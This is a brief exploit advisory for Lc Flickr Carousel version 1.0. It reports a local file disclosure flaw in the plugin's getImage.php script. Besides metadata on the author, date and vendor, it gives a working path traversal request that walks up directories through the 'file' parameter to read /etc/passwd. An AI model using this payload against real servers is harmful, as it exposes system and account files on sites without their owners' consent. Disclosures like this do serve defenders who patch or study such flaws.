# Exploit Title: Lc Flickr Carousel V1.0 => Local File Disclosure Vulnerability # Date: 11/07/2012 # Author: GoLd_M # Vendor or Software Link: http://code.google.com/p/lcflickr/downloads/list # Version: 1.0 # Category:: Local File Disclosure Vulnerability2 # Tested on: Xp SP 2 # Ex : [Lc Flickr Carousel V1.0]/scripts/getImage.php?file=../../../../../../../../../../../../../../etc/passwd # See Test : http://upload.traidnt.net/upfiles/66w29123.jpg